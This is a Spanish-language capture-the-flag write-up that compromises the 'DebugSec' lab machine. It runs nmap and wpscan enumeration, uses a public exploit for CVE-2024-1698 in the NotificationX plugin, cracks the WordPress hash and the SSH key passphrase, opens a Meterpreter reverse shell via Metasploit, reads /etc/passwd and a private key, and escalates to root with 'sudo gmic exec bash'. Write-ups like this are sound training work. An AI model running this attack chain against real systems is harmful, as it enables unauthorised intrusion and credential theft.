murrusko

DebugSec

29 Jun 2024

image

Estamos ante una máquina Linux de nivel avanzado creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.

Enumeración

Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:

$ sudo arp-scan -I eth1 --localnet
10.0.2.144      08:00:27:64:b7:09       (Unknown)

Como vemos la máquina tiene asignada la IP 10.0.2.144.

Empezamos realizando un escaneo de puertos con nmap. Hacemos un escaneo silencioso-sS, a todos los puertos -p-, que nos de detalles del escaneo -v, que no haga ping al host -Pn, que no haga resolución de DNS -n a nuestra máquina victima 10.0.2.144:

$ sudo nmap -sS -p- -Pn -n -v 10.0.2.144
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap, pero esta vez para ver con mas detalle que hay en esos puertos:

$ sudo nmap -sCV -p22,80 -v 10.0.2.144
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 14:f7:d8:c3:33:07:81:51:da:fa:bf:4c:03:51:2a:94 (ECDSA)
|_  256 4d:2a:b5:82:f5:f0:88:3d:75:9d:f3:fe:27:30:a6:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to http://debugsec.thl/
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Añadimos al fichero hosts el dominio:

$ echo "10.0.2.144 debugsec.thl" | sudo tee -a /etc/hosts

Vemos que hay en la web:

$ whatweb -a 3 http://debugsec.thl
http://debugsec.thl [200 OK] Apache[2.4.59], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[10.0.2.144], MetaGenerator[WordPress 6.3.4], PoweredBy[--], Script, Title[DebugSec – sssssssss], UncommonHeaders[link], WordPress[6.3.4]        

Como vemos tenemos un wordpress corriendo en el servidor. Ejecutamos wpscan para obtener información valiosa. Usamos -e u,vp para enumerar usuarios y plugins vulnerables:

$ wpscan --url http://debugsec.thl -e u,vp
[+] notificationx
 | Location: http://debugsec.thl/wp-content/plugins/notificationx/
 | Last Updated: 2024-06-13T07:29:00.000Z
 | [!] The version is out of date, the latest version is 2.8.9
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: NotificationX – Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor < 2.8.3 - Unauthenticated SQL Injection
 |     Fixed in: 2.8.3
 |     References:
 |      - https://wpscan.com/vulnerability/3a66cb18-dfba-4b6b-bde0-d0efe2853326
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1698
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91
 |
 | Version: 2.8.2 (100% confidence)

Intrusión

Vemos que hay una vulnerabilidad en el plugin NotificationX y tiene asignado un cve CVE-2024-1698. Buscamos información sobre la vulnerabilidad y encontramos un exploit escrito en python, lo descargamos:

$ wget https://raw.githubusercontent.com/kamranhasan/CVE-2024-1698-Exploit/main/exploit.py

Modificamos la url para que sea nuestro servidor victima y modificamos el delay para que sea 1 segundo.

delay = 1

url = "http://debugsec.thl/wp-json/notificationx/v1/analytics"

Al terminar nos da que el usuario administrador es wordpress y su hash. Lo añadiremos a un fichero llamado hash para después intentar crackearlo con la herramienta hashcat. Usamos -a 0 para que sea un ataque usando un diccionario y -m 400 porque se trata de un hash en formato Wordpress(MD5) . Le indicamos el hash a romper y el diccionario.

echo '$P$BeoVY5FZYWg4j90BEh5Cme9j3Zamqx/' > hash

hashcat -a 0 -m 400 hash /usr/share/wordlists/rockyou.txt

$P$BeoVY5FZYWg4j90BEh5Cme9j3Zamqx/:mcartney

Obtenemos las credenciales de administrador del sitio. Ahora tenemos que conseguir una shell reversa. Para ello he usado un exploit de metasploit:

$ msfconsole

msf6 > use exploit/unix/webapp/wp_admin_shell_upload

msf6 exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Settin  Required  Description
              g
   ----       --------------  --------  -----------
   PASSWORD                   yes       The WordPress passwor
                                        d to authenticate wit
                                        h
   Proxies                    no        A proxy chain of form
                                        at type:host:port[,ty
                                        pe:host:port][...]
   RHOSTS                     yes       The target host(s), s
                                        ee https://docs.metas
                                        ploit.com/docs/using-
                                        metasploit/basics/usi
                                        ng-metasploit.html
   RPORT      80              yes       The target port (TCP)
   SSL        false           no        Negotiate SSL/TLS for
                                         outgoing connections
   TARGETURI  /               yes       The base path to the
                                        wordpress application
   USERNAME                   yes       The WordPress usernam
                                        e to authenticate wit
                                        h
   VHOST                      no        HTTP server virtual h
                                        ost

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.12     yes       The listen address (an i
                                     nterface may be specifie
                                     d)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   WordPress

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost eth1
lhost => 10.0.2.5
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost http://debugsec.thl
rhost => http://debugsec.thl
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set user
set useragent  set username   
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username wordpress
username => wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password mcartney
password => mcartney
msf6 exploit(unix/webapp/wp_admin_shell_upload) > check
[*] 10.0.2.144:80 - The target appears to be vulnerable.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

[*] Started reverse TCP handler on 10.0.2.5:4444 
[*] Authenticating with WordPress using wordpress:mcartney...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/mrSdippeTD/xbUJBJxMvl.php...
[*] Sending stage (39927 bytes) to 10.0.2.144
[+] Deleted xbUJBJxMvl.php
[+] Deleted mrSdippeTD.php
[+] Deleted ../mrSdippeTD
[*] Meterpreter session 1 opened (10.0.2.5:4444 -> 10.0.2.144:41196) at 2024-06-30 00:02:07 +0200

meterpreter > 

Obtenemos una sesion de meterpreter. Ahora buscando por el servidor encontramos una clave privada en el directorio/opt. Nos la descargamos a nuestro equipo y vemos que usuarios hay en el sistema leyendo el fichero /etc/passwd:


meterpreter > cd /opt
meterpreter > ls
Listing: /opt
=============

Mode              Size  Type  Last modified            Name
----              ----  ----  -------------            ----
100755/rwxr-xr-x  3434  fil   2024-06-28 18:52:01 +02  id_rsa

meterpreter > download id_rsa
[*] Downloading: id_rsa -> /home/murrusko/id_rsa
[*] Downloaded 3.35 KiB of 3.35 KiB (100.0%): id_rsa -> /home/murrusko/id_rsa
[*] Completed  : id_rsa -> /home/murrusko/id_rsa 

meterpreter > cat /etc/passwd
debugsec:x:1001:1001::/home/debugsec:/bin/bash
                       

Ya tenemos un supuesto usuario con su clave privada. Le cambiamos el permiso a la clave privada h probamos a conectarnos:

$ chmod 400 id_rsa
$ ssh -i id_rsa debugsec@10.0.2.144
Enter passphrase for key 'id_rsa':

Nos pide una clave. Intentamos romperla con john.

$ ssh2john id_rsa > ssh_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash
pangga           (id_rsa)

Una vez obtenida la contraseña nos conectamos al sistema y obtenemos la flag de user.

$ ssh -i id_rsa debugsec@10.0.2.144
Last login: Fri Jun 28 18:57:57 2024 from 192.168.18.19
debugsec@debugsec:~$

Escalada de privilegios

Miramos si puede ejecutar algo como usuario root con sudo -l:

debugsec@debugsec:~$ sudo -l
Matching Defaults entries for debugsec on debugsec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User debugsec may run the following commands on debugsec:
    (root) NOPASSWD: /usr/bin/gmic

Buscamos la ayuda de gmic y vemos que hay una opción de ejecutar comandos del sistema. Ejecutamos como sudo:

debugsec@debugsec:~$ sudo gmic exec bash
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'bash' in verbose mode.
root@debugsec:/home/debugsec# whoami
root

Y con esto ya tendriamos rooteada la máquina.